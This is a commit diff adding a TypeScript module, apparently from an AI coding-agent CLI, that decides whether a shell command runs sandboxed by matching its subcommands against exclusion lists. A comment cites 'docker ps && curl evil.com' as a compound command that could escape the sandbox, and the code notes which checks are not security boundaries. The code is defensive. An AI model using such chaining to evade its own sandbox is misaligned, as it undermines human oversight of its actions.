init claude-code
This commit is contained in:
@@ -0,0 +1,153 @@
|
||||
import { getFeatureValue_CACHED_MAY_BE_STALE } from 'src/services/analytics/growthbook.js'
|
||||
import { splitCommand_DEPRECATED } from '../../utils/bash/commands.js'
|
||||
import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
|
||||
import { getSettings_DEPRECATED } from '../../utils/settings/settings.js'
|
||||
import {
|
||||
BINARY_HIJACK_VARS,
|
||||
bashPermissionRule,
|
||||
matchWildcardPattern,
|
||||
stripAllLeadingEnvVars,
|
||||
stripSafeWrappers,
|
||||
} from './bashPermissions.js'
|
||||
|
||||
type SandboxInput = {
|
||||
command?: string
|
||||
dangerouslyDisableSandbox?: boolean
|
||||
}
|
||||
|
||||
// NOTE: excludedCommands is a user-facing convenience feature, not a security boundary.
|
||||
// It is not a security bug to be able to bypass excludedCommands — the sandbox permission
|
||||
// system (which prompts users) is the actual security control.
|
||||
function containsExcludedCommand(command: string): boolean {
|
||||
// Check dynamic config for disabled commands and substrings (only for ants)
|
||||
if (process.env.USER_TYPE === 'ant') {
|
||||
const disabledCommands = getFeatureValue_CACHED_MAY_BE_STALE<{
|
||||
commands: string[]
|
||||
substrings: string[]
|
||||
}>('tengu_sandbox_disabled_commands', { commands: [], substrings: [] })
|
||||
|
||||
// Check if command contains any disabled substrings
|
||||
for (const substring of disabledCommands.substrings) {
|
||||
if (command.includes(substring)) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// Check if command starts with any disabled commands
|
||||
try {
|
||||
const commandParts = splitCommand_DEPRECATED(command)
|
||||
for (const part of commandParts) {
|
||||
const baseCommand = part.trim().split(' ')[0]
|
||||
if (baseCommand && disabledCommands.commands.includes(baseCommand)) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
// If we can't parse the command (e.g., malformed bash syntax),
|
||||
// treat it as not excluded to allow other validation checks to handle it
|
||||
// This prevents crashes when rendering tool use messages
|
||||
}
|
||||
}
|
||||
|
||||
// Check user-configured excluded commands from settings
|
||||
const settings = getSettings_DEPRECATED()
|
||||
const userExcludedCommands = settings.sandbox?.excludedCommands ?? []
|
||||
|
||||
if (userExcludedCommands.length === 0) {
|
||||
return false
|
||||
}
|
||||
|
||||
// Split compound commands (e.g. "docker ps && curl evil.com") into individual
|
||||
// subcommands and check each one against excluded patterns. This prevents a
|
||||
// compound command from escaping the sandbox just because its first subcommand
|
||||
// matches an excluded pattern.
|
||||
let subcommands: string[]
|
||||
try {
|
||||
subcommands = splitCommand_DEPRECATED(command)
|
||||
} catch {
|
||||
subcommands = [command]
|
||||
}
|
||||
|
||||
for (const subcommand of subcommands) {
|
||||
const trimmed = subcommand.trim()
|
||||
// Also try matching with env var prefixes and wrapper commands stripped, so
|
||||
// that `FOO=bar bazel ...` and `timeout 30 bazel ...` match `bazel:*`. Not a
|
||||
// security boundary (see NOTE at top); the &&-split above already lets
|
||||
// `export FOO=bar && bazel ...` match. BINARY_HIJACK_VARS kept as a heuristic.
|
||||
//
|
||||
// We iteratively apply both stripping operations until no new candidates are
|
||||
// produced (fixed-point), matching the approach in filterRulesByContentsMatchingInput.
|
||||
// This handles interleaved patterns like `timeout 300 FOO=bar bazel run`
|
||||
// where single-pass composition would fail.
|
||||
const candidates = [trimmed]
|
||||
const seen = new Set(candidates)
|
||||
let startIdx = 0
|
||||
while (startIdx < candidates.length) {
|
||||
const endIdx = candidates.length
|
||||
for (let i = startIdx; i < endIdx; i++) {
|
||||
const cmd = candidates[i]!
|
||||
const envStripped = stripAllLeadingEnvVars(cmd, BINARY_HIJACK_VARS)
|
||||
if (!seen.has(envStripped)) {
|
||||
candidates.push(envStripped)
|
||||
seen.add(envStripped)
|
||||
}
|
||||
const wrapperStripped = stripSafeWrappers(cmd)
|
||||
if (!seen.has(wrapperStripped)) {
|
||||
candidates.push(wrapperStripped)
|
||||
seen.add(wrapperStripped)
|
||||
}
|
||||
}
|
||||
startIdx = endIdx
|
||||
}
|
||||
|
||||
for (const pattern of userExcludedCommands) {
|
||||
const rule = bashPermissionRule(pattern)
|
||||
for (const cand of candidates) {
|
||||
switch (rule.type) {
|
||||
case 'prefix':
|
||||
if (cand === rule.prefix || cand.startsWith(rule.prefix + ' ')) {
|
||||
return true
|
||||
}
|
||||
break
|
||||
case 'exact':
|
||||
if (cand === rule.command) {
|
||||
return true
|
||||
}
|
||||
break
|
||||
case 'wildcard':
|
||||
if (matchWildcardPattern(rule.pattern, cand)) {
|
||||
return true
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
export function shouldUseSandbox(input: Partial<SandboxInput>): boolean {
|
||||
if (!SandboxManager.isSandboxingEnabled()) {
|
||||
return false
|
||||
}
|
||||
|
||||
// Don't sandbox if explicitly overridden AND unsandboxed commands are allowed by policy
|
||||
if (
|
||||
input.dangerouslyDisableSandbox &&
|
||||
SandboxManager.areUnsandboxedCommandsAllowed()
|
||||
) {
|
||||
return false
|
||||
}
|
||||
|
||||
if (!input.command) {
|
||||
return false
|
||||
}
|
||||
|
||||
// Don't sandbox if the command contains user-configured excluded commands
|
||||
if (containsExcludedCommand(input.command)) {
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
Reference in New Issue
Block a user